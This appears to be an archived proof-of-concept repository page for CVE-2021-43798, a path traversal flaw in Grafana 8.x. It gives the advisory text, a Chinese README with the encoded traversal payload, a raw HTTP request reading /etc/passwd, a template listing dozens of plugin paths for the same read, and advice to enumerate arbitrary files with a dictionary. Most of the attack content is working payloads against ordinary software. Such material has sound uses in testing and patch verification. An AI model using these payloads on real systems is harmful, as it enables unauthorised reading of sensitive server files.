CVE-2021-43798 PoC — Grafana path traversal

Source

https://github.com/lfz97/CVE-2021-43798-Grafana-File-Read

Associated Vulnerability

Title:Grafana path traversal (CVE-2021-43798)
Description:Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.

Description

CVE-2021-43798-Grafana任意文件读取漏洞

Readme

# Grafana-File-Read

## Grafana未授权文件读取
> 影响版本：8.0.0-lastest
  reference:
    - https://github.com/tangxiaofeng7/Grafana-File-Read
<img width="711" alt="wecom-temp-e380dc0174f4d9f46e9e217a6e2c3ddb" src="https://user-images.githubusercontent.com/45926593/144997417-b4d7aaa1-d58d-4a5f-a22c-e8b9b7f16763.png">

利用Grafana /public/plugins 接口对url路由校验不严格的漏洞读取服务器本地任意文件。

poc:
/public/plugins/icon/../../../../../../../../../../../../../../../../../..{path}

其中 {path}为本地文件绝对路径，如读取/etc/passwd即为：

/public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd

可通过字典枚举{path}进行目录遍历

使用浏览器直接提交时需要将

../../../../../../../../../../../../../../../../../..

编码为

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..

避免被浏览器优化，即：

/public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

```
GET /public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

![image](https://user-images.githubusercontent.com/45926593/145003500-72591e78-1919-4662-8e55-6bf30850b59a.png)


其他可用poc：
```
requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/alertGroups/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/icon/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/alertmanager/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/annolist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/barchart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/bargauge/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/canvas/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/cloudwatch/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/dashboard/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/dashlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/debug/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/elasticsearch/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/gauge/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/geomap/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/gettingstarted/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/grafana-azure-monitor-datasource/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/grafana/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/graph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/graphite/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/heatmap/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/histogram/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/influxdb/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/jaeger/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/live/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/loki/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/mixed/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/mssql/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/mysql/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/news/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/nodeGraph/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/opentsdb/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/piechart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/pluginlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/postgres/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/prometheus/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/stat/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/state-timeline/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/status-history/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/table-old/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/table/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/tempo/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/testdata/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/text/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/timeseries/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/welcome/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/xychart/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
      - "{{BaseURL}}/public/plugins/zipkin/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

```

File Snapshot


 [4.0K]  /data/pocs/3332a085b6c1176cf3bd30cf4db52c3f74c0df9b
├── [ 498]  grafana_poc.py
├── [1.8K]  grafana.yaml
├── [1002K]  path1.txt
├── [1.8K]  path_search.py
└── [6.4K]  README.md

0 directories, 5 files

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